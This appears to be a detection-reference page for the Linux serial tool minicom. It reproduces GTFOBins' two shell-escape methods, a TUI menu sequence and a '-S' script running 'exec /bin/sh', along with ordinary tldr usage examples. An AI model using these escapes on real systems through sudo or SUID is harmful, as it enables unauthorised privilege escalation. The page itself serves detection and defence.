Identifier / Programs / Linux and Unix
minicom
Communicate with the serial interface of a device. tldr-pages
GTFOBins shell 1 ATT&CK technique 2 documented commands
How minicom is abused
shell T1059.004 Command and Scripting Interpreter: Unix Shell
-DEach abuse is GTFOBins's category and the options and words it uses; the full write-up is on GTFOBins's page for minicom.
2 documented commands
shell unprivileged, with sudo, as SUID
Start the following command to open the TUI interface, then:
- press
Ctrl-A oand selectFilenames and paths; - press
e, type/bin/sh, thenEnter; - Press
Esctwice; - Press
Ctrl-A kto drop the shell.
After the shell, exit with Ctrl-A x.
minicom -D /dev/nullIdentifyshell unprivileged, with sudo, as SUID
After the shell, exit with Ctrl-A x.
echo '! exec /bin/sh </dev/tty 1>/dev/tty 2>/dev/tty' >/path/to/temp-file
minicom -D /dev/null -S /path/to/temp-file
reset^JIdentifyNone of the 2 commands the identifier reads trips a Sigma process-creation rule. These commands are, with GTFOBins’ notes, from GTFOBins, at commit acd524623f9c of 2026-05-27, under the GPL-3.0, with no warranty. Changed: Markdown is shown formatted. The source is in lolbas-gtfobins-commands.json.gz, and the full entry is on GTFOBins’s page for minicom. The identifier reads the line of each that runs minicom.
What detects it
Everyday use
Open a given serial port
sudo minicom --device /dev/ttyXYZIdentifyOpen a given serial port with a given baud rate
sudo minicom --device /dev/ttyXYZ --baudrate 115200IdentifyEnter the configuration menu before communicating with a given serial port
sudo minicom --device /dev/ttyXYZ --setupIdentifyNone of the 3 examples the identifier reads matches GTFOBins abuse or trips a Sigma process-creation rule.